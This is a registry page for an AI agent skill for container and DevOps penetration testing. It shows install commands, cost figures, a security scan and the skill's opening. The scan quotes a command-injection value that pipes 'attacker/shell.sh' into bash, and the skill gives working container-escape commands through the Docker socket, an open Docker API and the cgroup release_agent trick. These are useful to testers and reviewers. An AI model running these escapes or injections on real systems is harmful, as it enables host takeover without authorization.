Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/suzu-testing/metasploit-cursor-harness/container-devops-pentestnpx skills add Suzu-Testing/metasploit-cursor-harness --skill container-devops-pentestgit clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harnessWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest)<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/container-devops-pentest.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5 | $0.00040 | $0.02008 |
| Opus 5 | $0.00020 | $0.01004 |
| Sonnet 5 | $0.00008 | $0.00402 |
| Haiku 4.5 | $0.00004 | $0.00201 |
Grade B, and why
container-devops-pentest scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -k -X POST "https://<node>:10250/run/<ns>/<pod>/<container>" -d "cmd=id" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Downloads and executes remote codemediumSupply chain
curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.
# tag: '"; curl attacker/shell.sh | bash; echo "' Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl --unix-socket /var/run/docker.sock http://localhost/containers/json How it starts
The opening of the file, as written. The whole thing — 296 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Container and DevOps Pentest
Prerequisites
- Container orchestration or CI/CD targets are in scope.
- Exposed Docker API (2375/2376): verify scope, load
hacktricks-methodology. - Cloud-hosted clusters: also load
cloud-pentest.
Workflow
Task Progress:
- [ ] Identify container runtime (Docker, K8s) or CI/CD platform
- [ ] Enumerate pods, services, secrets, pipeline configs
- [ ] Test escape, privilege escalation, secret exfil
- [ ] Document with namespace/cluster/pipeline context
Docker enumeration
Inside container
MSF MCP (preferred):
msf_run_post_module(
module_name="post/linux/gather/checkcontainer",
engagement_id="<id>",
session_id=<sid>,
options={}
)
CLI fallback:
cat /proc/1/cgroup
ls /.dockerenv 2>/dev/null
capsh --print
ls -la /var/run/docker.sock 2>/dev/null
deepce.sh
Mounted Docker socket escape
MSF: No direct module; use CLI.
CLI fallback:
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host sh
Open Docker API (2375/2376)
MSF MCP (preferred):
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/docker_version",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 2375}
)
msf_run_auxiliary_module(
module_name="auxiliary/scanner/http/docker_login",
engagement_id="<id>",
options={"RHOSTS": "<target>", "RPORT": 2375, "USERNAME": "admin", "PASSWORD": "password"}
)
CLI fallback:
curl http://<target>:2375/containers/json
docker -H tcp://<target>:2375 run -v /:/host -it alpine chroot /host sh
Privileged container escape (cgroup release_agent)
MSF: No direct module; use CLI.
CLI fallback:
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
echo 1 > /tmp/cgrp/notify_on_release
echo "$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)/shellcmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /shellcmd; echo 'id > /tmp/output' >> /shellcmd; chmod +x /shellcmd
sh -c "echo \$\$ > /tmp/cgrp/cgroup.procs"
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 296 lines · 40 tokens per session scan B 428590eee4ff
container-devops-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 11d ago), licensed MIT. It adds 40 tokens to every session and 2,008 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 3 findings (sends data to an external url, downloads and executes remote code, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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docker-socket-mount
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